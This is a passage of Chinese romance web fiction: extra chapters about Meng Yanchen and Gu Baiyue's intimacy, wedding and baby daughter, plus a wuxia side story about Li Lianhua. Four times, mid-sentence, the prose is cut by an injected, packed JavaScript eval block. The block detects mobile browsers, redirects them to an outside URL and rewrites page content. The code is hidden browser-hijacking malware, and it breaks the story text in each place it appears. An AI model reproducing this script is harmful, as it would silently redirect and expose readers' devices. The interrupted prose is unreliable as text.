孟宴臣松了一下脖颈间的领带,轻轻叹息,脸上的疲倦几乎遮掩不住,他懒怠开灯,借着玻璃窗外万家灯火,倒了一杯酒浅酌。 孤寂感来势汹汹,让人意兴阑珊。 他难以承受般仰靠在沙发上,淡淡醺然,昏昏欲睡,下颌到锁骨,延伸出一条美妙的弧度,是绷紧的弦,亦是濒死的高洁白鹤。 夜风送来一丝轻不可闻的窃笑,有人踮着脚尖,恍若林间小鹿,身姿纤纤地跑了过来,盈盈一跃,轻轻巧巧地跪伏在孟宴臣腰间。 她甜滋滋地叫他:“哥哥。” “皎皎?” 孟宴臣既惊又喜,如坠梦中,下意识伸出手护在她身侧,怕她扭来扭去摔到地上,“你不是去参加综艺节目,明天才回来吗?” 顾白月抱着他,小猫崽子一般蹭了蹭,直白地说:“我想哥哥了,想早一点见到你,就跟导演商量了一下,赶了赶进度。” 为了上镜效果,顾白月这次出差前,工作室特意为她设计了妆造,鸦黑色浓密秀发细细打理过,蓬松微卷,映衬着仙姿佚貌,冰肌玉骨的一张脸,精致得如同可爱洋娃娃。 她应该是到家有一会儿了,洗过澡,穿着一袭蓝色草莓睡裙,整个人散发着氤氲水汽,脸颊莹润柔嫩,粉扑扑得招人。 “几天不见,哥哥更帅啦。”顾白月不知道从哪里学来的甜言蜜语,弯着皎月般的眸子,笑吟吟地逗他。 皎皎一边说,一边不老实地嘟着樱唇凑过来,在孟宴臣下巴处啃了啃,还似模似样地砸吧着嘴点评:“哥哥喝酒了吗?唔,有点苦。” 孟宴臣好气又好笑,垂着眸子无奈地睨她,皎皎总是乐此不疲地撩拨他,每回都不得章法,只会小狗一样亲亲舔舔,糊他一脸。 她长发散逸,暗香浮动,什么都不用做就让孟宴臣心潮起伏,何况还是如此暧昧姿态,一贯持守的君子之风早就消弭于无形。 他粗粗喘气,修韧有力的手落在女孩莹白脚踝,触之如玉,让人爱怜不已,抚摸揉弄,反复摩挲。 然后,缓缓地,慢慢地,一点点往上移动,骨节分明的手指没入女孩裙摆…… 皎皎短促地啊了一声,眼尾绯绯,春光融融,她捉住孟宴臣的手,不让再动,鼓着脸颊义正严词地告诫他:“哥哥,不可以色色!” 孟宴臣双目赤红,神色迷乱,重重亲吻女孩,不给她反驳的机会,在唇齿间呢喃着表达控诉:“乖皎皎,别这么欺负我……” 她不懂,这么不上不下,会把人逼疯的。 顾白月艰难地躲避他疾风骤雨般的攻势,极力安抚:“哥哥,我知道你很急,但是你先别急。” 她从怀抱里挣脱出来,牵着孟宴臣来到卧室,神秘兮兮地献宝:“哥,你看我给你带回来了什么。” 房间里摆着一尊美妙的工艺品,用特殊材质塑造成枯树枝形状,上面栖息着一只只五彩斑斓的蝴蝶,流光溢彩,栩栩如生。 那些蝴蝶应该是用绢纱制作的,薄如蝉翼,纤毫毕现,仿佛下一秒就要展翅飞翔,翩然而去。 顾白月得意地瞧着孟宴臣,“怎么样,漂亮吧?我就知道哥哥会喜欢,这可是我专门请大师订做……唔……” 他将她抵在墙上,发了狠地肆意亲吻,眉眼潮湿,缱绻多情,让她渐渐软化成一汪春水。 所有蝴蝶一瞬间活了过来,簌簌震颤。 …… 日上三竿,顾白月才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9505398|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠悠醒转,她没好气地瞪了孟宴臣一眼,蹦蹦跶跶地去地上捡衣服。 孟宴臣自知理亏,主动打扫好房间,又抱着顾白月洗漱,缠缠绵绵许久,终是一脸餍足地出来。 两人亲昵地一起进了衣帽间,期间顾白月一直打哈欠,懒洋洋得绵软无力,连袜子都是孟宴臣帮忙穿的。 孟宴臣:“今天去哪儿?” 顾白月:“去西山公墓看看妈妈吧。” 两人马上就要结婚了,孟怀瑾和付闻樱十分慎重,花了大价钱找人卜算好日期,一力操办流程,唯恐出一点纰漏。 终身大事,自然要认认真真同季如兰说明。 顾白月穿着黑色连衣裙,薄施粉黛,毕恭毕敬地给季如兰上了香,供奉一束她最爱的兰花,抿唇浅笑,带着羞赧同生母小声聊天。 “妈妈,皎皎要跟宴臣哥哥结婚了,您放心,他对我很好很好的。哥哥说他是一个务实的商人,不懂什么叫浪漫,怕委屈了我,所以把名下所有房产和股份都转给了我。养父养母还送了股份给我做嫁妆,皎皎现在也是一个小富婆了呢。妈妈,您会祝福我们的,对吗?” 清风拂过,枝叶婆娑,好似有人笑意慈爱,频频点头回应。 临走时,孟宴臣抚了一下顾白月长发,“哥哥落了东西,皎皎先去车上等一会儿。” 他折返回来,跪在墓前,虔诚地向季如兰忏悔: “兰姨,您说如果有机会,下辈子做我妈妈。对不起,是我太过贪心,请您这辈子就做我妈妈吧,我会用一生一世,一心一意照顾皎皎。” 回程时,顾白月悄悄在孟宴臣唇角啄了一下,月眉星眼,灿然生姿:“哥哥才不贪心呢,贪心的是皎皎,皎皎想独占哥哥的好,谁都不给。” 孟宴臣番外之我们结婚啦 客厅铺着一层毛绒绒的地毯,顾白月穿着粉白色真丝睡裙,逐字逐句看剧本,一边看一边用不同颜色的标注,花瓣似的红唇念念有词。 周围散落着几张纸,皎皎一双笔直纤细的腿孩子气地交叠,蓬松柔顺的长发用一支签字笔挽住,有种全然放松随性居家的美。 她看得实在认真极了,全身心投入其中,以至于连孟宴臣什么时候开门进来都不知道。 那在外总是淡漠矜贵的男人有些吃味,十分难耐地扯了扯领带。 顾白月终于听到了动静,水汪汪的潋滟眼眸望了过来,一瞧孟宴臣晦暗神情,顿时一个激灵,下意识往后退缩:“哥,我还要背台词呢……” 大约孟宴臣的目光太有穿透力,顾白月总觉得自己仿佛被人牢牢掌控,无所遁形,直接惊得头皮发麻。 他轻轻一笑:“没事,你背你的。” 听听,听听,这叫什么话,真是无赖…… 顾白月红着脸小声抱怨:“哥哥变坏了。” “是皎皎太可爱,哥哥忍不住。”他近来霸道得厉害,尤其是床|笫之间,时常表现出抵死缠|绵的姿态,让人联想到末日狂欢。 许是前几天两人正式领了结婚证,婚礼也一天天靠近,孟宴臣难免有点亢奋。 不过,这个亢奋期持续得也太长了吧…… 从夕阳西下,直到明月东升,窗外已是浓墨一般的夜色,顾白月浑身都快湿透了,软绵绵地趴在孟宴臣肩头,在他脖颈轻轻咬了一口泄愤。 休息了一会儿,他抱着她看喜帖。 按照孟怀瑾和付闻樱的意思,婚礼自然要放在宴山月举办,那里地方宽敞,待客也方便。 因宴山月是典雅的新中式风格,几经商榷后,婚礼也计划采用中西合璧,为表慎重,孟宴臣打算亲自手写喜帖。 他本来擅长瘦金体,平常看着也觉风骨矫矫,但用在婚礼上,孟宴臣就开始吹毛求疵,认为瘦金体太过枯瘦凌厉,似乎不够喜庆吉利。 对待这场婚礼,孟宴臣着实谨慎过了头,容不得一丝一毫疏漏。 顾白月嗓子有点哑,软糯糯地问:“这是什么字体?” 孟宴臣轻抚她的脸颊:“是颜体。” 他握着顾白月的手,一笔一划,细细写下终身誓言,润泽字体落在烫金大红喜帖上,俊逸典雅,意态天成: 两姓联姻,一堂缔约,良缘永结,匹配同称。 看此日桃花灼灼,宜室宜家,卜他年瓜瓞绵绵,尔昌尔炽。 谨以白头之约,书向鸿笺,好将红叶之盟,载明鸳谱。 …… 婚礼盛况空前,几乎所有亲朋好友都到场了,赵又司和韩廷王勉等人,最是清楚孟宴臣和顾白月一路走来到底有多不容易,现在看到有情人终成眷属,纷纷送上诚挚祝福,真心替他们高兴。 几人还特意送了顾白月一整套的金镶翡翠头面首饰,红宝石项链,珍珠耳环,以及羊脂玉手镯,锦盒打开时俨然珠光宝气,璀璨夺目,引发不少来宾的惊呼。 顾白月眼眸微红:“谢谢……” 皎皎晓得赵又司也好,韩廷和王勉也好,都不是轻狂爱出风头的性格,之所以送礼送得这么高调,自然是为了给她撑场面,向众人表示,顾白月并非一无所有人人可欺的孤女。 一番良苦用心,皎皎怎能不懂。 赵又司笑意朗润:“皎皎别哭啊,记得要开开心心的,毕竟我们皎皎可是全世界最最漂亮的新娘子。” 他温言哄劝了几句,顾白月破涕为笑。 赵又司半真半假地跟孟宴臣玩笑,“恭喜啊,终于得偿所愿了,不过你以后可要对皎皎好一点,要是皎皎受了哪怕一丁点委屈,别怪我们不讲情面,挖兄弟墙角。” 孟宴臣揽着顾白月,两人相视一笑,默契十足,空气中满是恋爱的酸臭味,他笃定道:“放心,不会有那么一天的。” 知道赵又司面上淡然,实则内心煎熬,韩廷有心活跃气氛:“就是,皎皎可不是没有娘家撑腰,以后我们几个都是皎皎娘家大哥,来来来,老孟,喊声大舅哥听听?” 孟宴臣:“……” 顾白月捂嘴偷笑,坏心眼地看着哥哥吃瘪。 不过,对于伴郎团临阵逃脱,倒戈相向,转而帮助伴娘团守门的无耻行径,孟宴臣无奈之余,倒是表现得十分镇定,似乎早有预料,甚至乐见其成。 多一个人护着皎皎,他便多一份安心。 付泽生无措地问:“大哥,韩哥他们都反水了,现在就剩我们俩了,怎么办啊?” 孟宴臣指挥若定:“没事,我请了一队退伍特种兵,已经埋伏在窗外和屋顶,马上就能找到突破点。” 付泽生:……很好,看得出来大哥为了成功抱得美人归,也是很拼了。 …… 这场婚礼筹办得极为用心,八珍玉食,雕蚶镂蛤,单单是婚服就有中西式两大类,还有迎宾服敬酒服,林林总总十几套。 一系列繁琐复杂的流程走下来,孟宴臣和顾白月累得够呛,脸都要笑僵了。 夫妇二人生得格外出色,日常穿得平平淡淡时都能引来无数倾慕,何况此时盛装出席,恍若明珠白璧,灼灼生辉。 婚服中有一套高定,缥缈朦胧似月色的纯白纱衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9527064|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,覆在皎皎莹润肌肤上,剪裁精致巧妙,完美得凸显顾白月窈窕身姿,胸口处设计成蝴蝶结式,像一份天降礼物,盈盈落在孟宴臣手心。 孟宴臣抿唇浅笑,颊边浮现小小的酒涡,听到有人夸他笑起来与皎皎很有夫妻相,内心不禁更加雀跃。 顾白月瞧着有趣,悄悄戳他,眉眼弯弯地打趣:“怪不得我一见哥哥就要醉倒了,原来是哥哥藏了一只小酒窝。” 他凝目注视自己的新娘,满心满眼都是欢喜。 司仪在旁询问:“请问新郎先生,你愿意娶这位美丽的女士为妻,从此无论贫贱或富有,终生不离不弃吗?” 一幕幕画面似浮光掠影,倏忽闪过: 六岁时,皎皎跟着妈妈一起出去摆摊,赚取零钱补贴家用,同学家长见了故意逗她,皎皎小小年纪不卑不亢,坦然在灯火阑珊的角落翩然起舞。 十六岁,皎皎升入津南高中,被几个半路发家,喜欢仗势欺人的小姑娘嘲讽挖苦,她淡淡然微笑,不艳羡他人富贵,不抱怨自身命运。 二十六岁,皎皎走在他身侧,枫叶凋零,枝叶婆娑,她调皮地追逐满地斑驳月影,饶有趣味地应和着簌簌风声跳舞,试图寻找复原秦汉鼓上舞的灵感。 …… 两人之间拥有太多太多珍贵而美好的记忆,或许在很久很久以前,孟宴臣尚未意识到自己究竟对顾白月抱有何种暧昧情思时,他就已经放不开手了。 孟宴臣缓缓俯首垂眸,冰雪消融,一字一顿虔诚低语:“我愿意。” 顾白月眉若远黛,唇似丹朱,同样一字一句道:“我也愿意。” “呜呜呜,我也是我也是,我也愿意……”肖亦骁鼻涕一把泪一把,活活哭成一个泪人,他这几天眼睛高高肿起,一直没有消下去过,知道的是孟宴臣和皎皎结婚,不知道的还以为是肖亦骁在嫁女儿。 肖父瞅了儿子一眼,嫌弃地唾骂:“抢妹妹抢不过人家,抢老婆还抢不过人家,要你有什么用?废物。”真是恨铁不成钢。 肖亦骁:“……” “不是,您36度的嘴怎么能说出这么冷冰冰的话,小老头儿,您还记不记得您是我爹啊?” “骁骁。” 顾白月同孟宴臣手牵手过来敬酒,两人先是对肖父肖母表示感谢,接着竟然非常正式地敬了肖亦骁一杯喜酒。 绮丽秾艳的女孩望着他笑,眉眼楚楚,“这些年来多谢你了,骁骁。” 肖亦骁的泪立刻又决堤了,他狼狈地捂眼睛:“唔,唔,知道了。” 孟宴臣拍了拍肖亦骁肩膀,他们亲如手足,彼此熟稔,一切尽在不言中。 孟宴臣番外之孟见月 孟宴臣这一生被三个女人拿捏得死死的,先是母亲付闻樱,接着是妻子皎皎,最后是女儿孟见月。 他早已甘之如饴,每一天都在感谢命运的恩赐。。 …… 按照习俗,婚后三天要回门,可惜顾家除了皎皎,已经没有其他人在世。 孟宴臣和顾白月思及新婚当天,韩廷赵又司等人一掷千金,大方地给他们撑场面,专门在月海居设宴,将几人以娘家兄长的身份请过来答谢,郑重地奉上礼物。 韩廷摆手:“别这么见外,记得以前上学那会儿,有一次,皎皎掏空零花钱给我买生日礼物,我推辞,皎皎说那已经是她能拿出来最高规格的礼物了,让我别嫌弃,——现在,那些珠宝首饰也是我能拿出来最高规格的礼物了。” 除了十几盒摆在台面上的珍珠翡翠,肖亦骁还豪爽地送出一套房子,顾白月都惊呆了:“骁骁你别这样,我不缺地方住。” 肖亦骁也不避讳孟宴臣,坦坦荡荡地直接说道:“不一样,我知道你有钱,也知道你名下几十套房产,但那些多多少少都跟孟家有关系,季阿姨留下的梧桐小区又太老旧,收了这个,万一哪天老孟惹你生气,你可以理直气壮将他关在门外。” 这大概就是有娘家人撑腰的感觉,底气十足。 顾白月近来感性得很,闻言眼圈一红,眸子里水波潋滟,近乎语无伦次地说:“谢谢,我好高兴……她们说我无父无母,可怜得很,其实一点也不,遇到哥哥,遇到你们,我好开心,也好幸运……” 一双漂亮的桃花眼湿漉漉,雾蒙蒙,诚挚地望向众人,看得人心头酸涩,孟宴臣心底柔软得一塌糊涂,轻轻拍着顾白月安抚。 “哎哎,别哭啊。”肖亦骁顿时手足无措,劝了两句,自己也悄悄红了眼眶,“你别哭,你一哭,我也想跟着哭了……” 孟宴臣抽出纸巾帮皎皎擦泪,见她小脸素白莹润,梨花带雨,小声安慰:“乖,别哭了,再哭大家心里都要不好受了,喝一口甜汤暖暖胃,好吗?” 他拿起小勺喂她喝玫瑰甜酒,皎皎刚张开嘴巴,鼻子敏锐地嗅到一丝甜腻腻的香味,不知怎么犯了恶心,拍着胸口呕了几下。 这一下大家都慌了神,孟宴臣匆匆向众人致歉,立刻就要带着顾白月去医院做检查。 赵又司毕竟是医者,瞧出了几分端倪,将人拦下来:“先别急,让我听听脉。” 果然,触手一探,圆滑流利,急如走珠。 “恭喜,你们要当爸爸妈妈了。” …… 自从得知顾白月身怀有孕,她在孟家的地位就一提再提,俨然站在了食物链顶端。 不说孟宴臣欣喜若狂之后,对待皎皎越发小心翼翼,如同爱护稀世奇珍,就连孟怀瑾和付闻樱也纷纷表态,动用关系购置了一大批温补药物,仅仅是人参燕窝就整整齐齐码了一屋子。 两位长辈不放心,怕他们年纪轻轻没有经验,专门找来家庭医生和营养师,给顾白月制定了一系列药膳单子。 一堆人忙进忙出,顾白月却始终有一种虚幻感,一脸懵逼地同孟宴臣对视,将信将疑地问他:“哥哥,我总感觉自己好像还是一个小孩子,昨天还在跳舞补课,今天怎么突然就有了小宝宝呢?” “乖皎皎。” 孟宴臣爱怜地整理她耳边碎发,这纤纤丽质的女孩,是将要同他执手并肩,共赴白头盟约的妻,满满当当地占据着他整颗心。 他本就对她爱得痴狂,更何况,现在她还怀了他的孩子,辛苦孕育着两人的骨肉。 这一刻,她就是要他的命,孟宴臣也会毫不迟疑,引颈受戮。 知道皎皎初为人母,难免无措惶恐,孟宴臣轻轻在她眉心落下一吻,“别怕。” “咳咳……” 付闻樱刚刚送走家庭医生,折返回来时不经意撞见这幅画面,想着他们新婚燕尔,必定如胶似漆,万一兴头上不知轻重,伤了肚子里的小宝宝,那可就糟糕了。 她不赞同地瞥了儿子一眼,上前为皎皎掖了一下被子,示意对方躺好,这才回头斥责孟宴臣,隐晦地提点他:“医生说了,头三个月最为关键,你别只顾着自己,也多体谅体谅皎皎。” 这话可真是冤死孟宴臣了。 他俯首垂眸,老老实实听训,心底莫名有一点委屈,只是不便宣之于口,更不好同母亲争辩。 皎皎感受着暖洋洋的母爱,一脸幸福地抱着付闻樱,再瞅一眼委屈巴巴的孟宴臣,“妈妈,哥哥没有……,咳咳,他其实挺温柔的……” 付闻樱点她额头:“傻孩子,别太纵着你哥哥,不舒服就及时喊停,知道吗?” 皎皎瞬间脸颊爆红,朱颜酡些。 孟宴臣悻悻地摸了一下鼻子,心神放松之下,破天荒地同母亲说起玩笑话,“您是我妈妈,怎么处处偏袒皎皎呢?” 付闻樱目光中快速闪过一丝讶然,继而猜想估计是皎皎居中调和,又说了什么,宴臣也开始笨拙地学着主动亲近父母了。 她当然高兴,甚至隐隐有一些受宠若惊。 但精明强悍如付闻樱并没有表现出来,她半真半假地说道:“是你先不要妈妈的,以后我给皎皎当妈妈,你当我是丈母娘就成。” 孟宴臣:“……” 那时候他刚跟家里撕破脸,皎皎也去了南方拍戏,多年积压的情绪一朝宣泄,不知不觉就在宴会上对母亲说了重话。 他当然记得,心中也有些懊悔。 人仿佛是一瞬间长大的,即便是刚刚得知他同皎皎有了孩子,孟宴臣几乎立刻就被一种包容性极强的澎湃情感击中。 是的,对皎皎腹中那个小生命,他饱含期待,爱逾性命。 原来,这就是父母对子女的爱吗? 都说不养儿不知父母恩,孟宴臣甫为人父,就隐隐有所了悟。 见儿子低头不说话,付闻樱也陷入沉默。 皎皎蹭了蹭付闻樱,体贴地对她说:“没关系的妈妈,如果你仍然心存芥蒂,就暂时不要理哥哥好了,就算是妈妈,也有生气的权力啊。” 是啊,就算是妈妈,也有生气的权力,没有人可以肆无忌惮伤害她,哪怕是亲生子女也不行。 …… 吃过晚餐,一家四口坐在茶室闲聊,孟宴臣熟练地为父母煮了一壶太平猴魁,皎皎面前放着一盅虫草老鸭汤。 家里马上就要添丁,孟怀瑾脸上也透出喜气,“我已经给你们老家的三叔公报了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9531135|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信儿,请他根据族谱字辈拟几个名字,宴臣也别闲着,得空好好替孩子想想。” 孟宴臣和皎皎相视一笑,他道:“不用麻烦长辈了,孩子的名字我们已经想好了,大名叫做孟见月,无论男女都叫这个。” 皎皎笑着接口:“小名叫做柚柚。” 她是他高洁出尘的皎皎明月。 他是她一只微微清苦的柚子。 …… 作为孟家小公主,孟见月小朋友自呱呱落地那一刻起,就独得家人宠爱,可谓要风得风,要雨得雨。 爸爸妈妈将她视作掌上明珠,爷爷奶奶更是含在嘴里怕化了,捧在手里怕摔了,就连一众帅气叔叔也疼她得紧,要星星不给月亮。 当然了,柚柚小朋友得天独厚,生得格外漂亮,眉眼像极了皎皎,脸型和唇鼻又活脱脱同孟宴臣一个模子刻出来的,以至于每当她用那双又大又圆,乌溜溜的黑眼睛看过来时,没有人能扛得住三秒。 ——哦,除了亲妈顾白月。 柚柚素来乖巧可爱,襁褓之时就不爱哭闹,总是眨巴着黑葡萄一样的剔透眼眸,这瞅瞅那看看,十足一个好奇宝宝。 唯有说话慢了一点。 这天朋友们来家里作客,皎皎穿着绵软舒适的衣裙,亲昵地抱着柚柚举高高,乐此不疲地逗她,“柚柚,柚柚,乖宝宝,瞧瞧这是什么?” 自从做了母亲,皎皎就越发温婉柔和,同柚柚在一起时整个人都散发着神性般的光辉。 柚柚和赵又司齐刷刷望了过来。 皎皎一怔,继而失笑:“不好意思啊,又司哥,我忘记你的小名也叫又又了。” 孟宴臣怕累到顾白月,顺势将软乎乎的女儿接过来抱在怀里,干咳几声,故作正经,试探着问顾白月:“要不给孩子换一个小名?” 皎皎太过恶趣味,时常笑吟吟地称呼他们父女俩“大柚子带着小柚子”,偶尔床头枕畔还要戏谑几句,饶是孟宴臣也有些吃不住。 皎皎狡黠地睨着他,一眼洞穿孟宴臣想法。 赵又司捏了捏柚柚胖嘟嘟,藕节一般的小胳膊,笑意温润:“费那劲儿做什么,我倒是觉得跟柚柚挺有缘分。” “喂!”肖亦骁立马警觉,“说好了柚柚给我做干女儿的,你可别跟我抢,阿双。” 赵又司疑惑:“你叫我什么?” 肖亦骁日常犯贱,“又又不就是阿双嘛,为了跟柚柚区分,就麻烦你改一下小名吧。” 众人哈哈一乐,该说不该,肖亦骁的话还挺有道理。 赵又司懒得跟他计较,解下手腕上用红绳串着的玉珠,妥帖地放在柚柚身上草莓裙的小口袋里。 “这是用中药泡过的暖玉,最是养人,就当是我给柚柚的见面礼了。你们帮孩子收着,长大再给她戴,唔,注意别让柚柚吞进嘴里。” 皎皎握着柚柚小手挥了挥,向一圈儿帅气叔叔致谢,笑眯眯地说道:“我们柚柚生来就是团宠呢。” 孟宴臣眸色认真:“皎皎也是啊。” 肖亦骁点头:“没错没错,皎皎是大团宠,柚柚是小团宠。” 柚柚糯米团子一般,懒洋洋地吹泡泡,间或发出微弱的小奶音:“……啊,角……角角……” 莲花楼(下) 从李相夷到李莲花; 从鲜衣怒马,风光无限,到众叛亲离,病骨难支; 最苦最难的十年,有人陪你一步步走过。 …… 当年东海之滨,我一人独对金鸳盟两艘大船,前无去路,后无援兵。 我与金鸳盟苦战一日一夜,战至少师失落,碧茶毒发。 虽然击沉金鸳盟两艘大船,但那时狂风呼啸,鲸海翻涌,我亦随波逐流,九死一生…… …… 那时海边初见,皎皎很是倔强,她分明弱不胜衣,却还是咬紧牙关,硬生生将李相夷背了起来。 他遍体鳞伤,满脸血污,狼狈如丧家之犬,嘴上依旧不饶人:“小孩儿,放我下来,你瘦得跟猫儿似的,背不动。” 小姑娘天真懵懂,眼眸纯净无邪,独自过着与世隔绝的生活,瞧着有些呆萌,她不是特别理解李相夷的话,也不知道该怎么回应他,只晓得眉眼弯弯地笑,双瞳剪水。 李相夷叹气:“听不懂话的傻丫头……” 起初他尚且有心玩笑,但见到小姑娘气喘吁吁,累得险些脱力,不免再三开口劝她放弃。 李相夷自知天命已尽,甘愿赴死。 皎皎抿着唇不说话,怕一张嘴就泄了力气,铆足劲儿往前走。 沙滩上留下一串深深的脚印,混着滴落的血迹,触目惊心。 忽然,皎皎不知踩中什么,脚下一个趔趄,她同他堆叠着摔落,小姑娘额角磕到石头上,顿时血流如注。 李相夷将衣带撕下一条,牢牢缚住她伤口。 小姑娘不哭不闹,笑嘻嘻地爬起来,伸手就要继续背他,李相夷格挡回去,“够了,我说够了!” 他发了狠地骂她:“李相夷轻狂无知,好大喜功,那么多人盼着他死,你一个萍水相逢的黄毛丫头,做什么救他?!” 她猜到这不是什么好话,也起了小脾气,嘟着嘴巴假装听不见,连抱带拽,使出吃奶的劲儿一寸寸将人拖回山洞。 他劝了十七次,骂了十七次,让她放手,皎皎一次都没听。 …… 岛上荒无人烟,缺医少药,他伤口发炎,高烧不退,再加上体内碧茶毒发,命悬一线。 皎皎眼巴巴守着他,从山洞里扒拉出来之前藏好的果子,兴冲冲递过来。 李相夷摇头拒绝。 人之将死其言也善,短短几日,他已对小姑娘生出爱护之心,不禁费心为她谋算:“我死之后,可能会变丑,还会变臭,你不要同我待太长时间,尽快挖个坑把我埋了,——算了,那样太麻烦,还是直接丢海里喂鱼吧。” 他想了想,从腰间抽出软剑刎颈,“如果拖不动的话,就用剑把我切成一块一块的。山洞深处有我刻的剑谱和功法,我命绝于此,实所应该,临死蒙你照顾,已然无憾。小丫头,你生得太过绝色,若是没有一二自保本事,恐怕招人觊觎。我死之后,你要勤加练习相夷太剑,游龙踏雪和扬州慢也要会一点,这把刎颈留给你防身。” 相识三天,他手把手教她分|尸,——分他自己的尸。 …… 很久很久以后,金鸳盟率众围剿,皎皎不敌,落入魔爪。 她一袭白衣,纤尘不染,虽是身处监牢的阶下囚,却圣洁清冷似天边明月,可望不可即。 不愧能够活死人肉白骨,号称阎罗低头的观音女啊…… 笛飞声自浓稠的黑暗中走来,纡尊降贵地蹲下|身子,热烈虔诚地抬头仰望她,如同在瞻仰一尊白玉古佛,几近顶礼膜拜,语气痴狂:“皎皎,求你看看我,看我一眼,我也很厉害的……” 皎皎试图逃脱。 笛飞声舍不得同她动手,只用一句话就将人留了下来,“世间最后一株忘川花在我手中,你前脚离开,我后脚便焚毁,届时李相夷必死无疑。” 皎皎蹙眉:“你要怎么才肯救他?” 笛飞声眸色晦暗:“很简单,你嫁给我,做我笛飞声的妻子,我就将忘川花塞进李相夷那吐不出象牙的狗嘴里。” “花花不是狗。” 皎皎护短地反驳了一句,继而垂眸沉思,茫然无措地说道:“妻子?我不知道该怎么做妻子,花花没教过我。” “他当然不会教你。” 笛飞声了然,李相夷是正人君子,不欺暗室,即便同皎皎相依为命,亦父亦兄般相处十年,也绝不会越雷池一步。 他放柔了声音哄劝,“妻子就是每天陪我一起聊天,吃饭,喝茶,下棋,练武。” 皎皎恍然大悟:“原来这就是妻子啊,那我更不能嫁给你了,因为我已经是花花的妻子了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9531951|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 荒岛十年,他们每天都是这般度过的。 笛飞声搬起石头砸自己的脚,郁卒得面容扭曲了一瞬,干脆直接威逼利诱:“你想好了,李相夷已经病入膏肓,你若不嫁给我,就只能眼睁睁看着他死。” 皎皎勉为其难:“那好吧,我嫁给你,以后都陪你玩。” ——你不在家的时候,我再偷偷去找花花玩,嘿嘿。 …… 一夕之间,金鸳盟盟主笛飞声即将大婚的消息遍布江湖,黑白两道闻风而动。 李莲花一袭大红织金芙蕖纹锦袍,烈烈如火,映衬得原本灰白黯淡的面容也多了些神采。 方多病笑话他:“你这人真是读医书读傻了,哪有穿一身大红去参加人家婚礼的,不知道还以为你砸……我的天爷啊,你不是真要砸场子吧?!” 李莲花冷笑:“等你看到新娘是谁,还能笑得出来再说。” 他当然不是去观礼喝酒的,他是去抢亲,去接回自己的新娘回家。 笛飞声早有预料,提前埋伏了炎帝白王,仇字四杀,阴泉七使,雪公血婆等人,一举出动全部精锐,自以为万无一失,毕竟如此人手,即便是巅峰状态的剑神李相夷也要头疼,何况是现在的病秧子李莲花。 谁知李莲花一副走火入魔的模样,神挡杀神,佛挡杀佛,一手剑术使得出神入化,矫若游龙。 “药魔,放毒烟!”笛飞声勃然大怒,“斩杀李莲花者,赏金百两,晋升护法!” “谁敢动他?!”皎皎一把扯下鸳鸯盖头,劈手夺过一把长剑,踏着婆娑步,行云流水般护卫在李莲花身前,荣曜秋菊,冷若冰霜,“谁若伤他,我必杀谁!” 李莲花不怕与万人为敌,只关心一点:“皎皎,你为什么会同意嫁给笛飞声,是他哄骗了你对不对?” 皎皎讶然:“花花你别急。”她将自己同笛飞声的交易,一五一十地交代出来。 李莲花目光凛凛,咬牙切齿:“好,好,好得很,笛盟主,我竟不知你是这种信口雌黄,欺凌弱女的鼠辈。” 他长身玉立,昂然持剑:“皎皎,是我错了,一个男人能够教给女人的所有,我都已倾囊相授,唯独忘记告诉你什么叫男女之情,夫妇之爱。” “这一点疏漏,李相夷亲自弥补,绝不假手他人。” 54.孟宴臣番外之新手爸妈 阳光从窗台透进来,落下一地斑驳光影。 孟宴臣躺在沙发上,正自恬然浅眠,忽然觉得脸颊痒痒的,一只热乎乎软绵绵的小手,在鼻梁上眼睫边摸来摸去。 他醒了,微带着些惺忪,慵懒地望过去,对上两双同样精致漂亮的大眼睛,皎皎抱着柚柚,亲亲密密坐在地毯上,察觉到他的视线,柚柚咧开嘴角,露出一个无齿笑容。 一大一小,甜滋滋地冲着他笑,笑得孟宴臣心尖软成一汪水。 顾白月握着柚柚的小胳膊,轻声提醒她不可以捣乱,待看到孟宴臣坐起来,歉意地说道:“哥,你要不要再睡一会?我抱柚柚出去玩。” 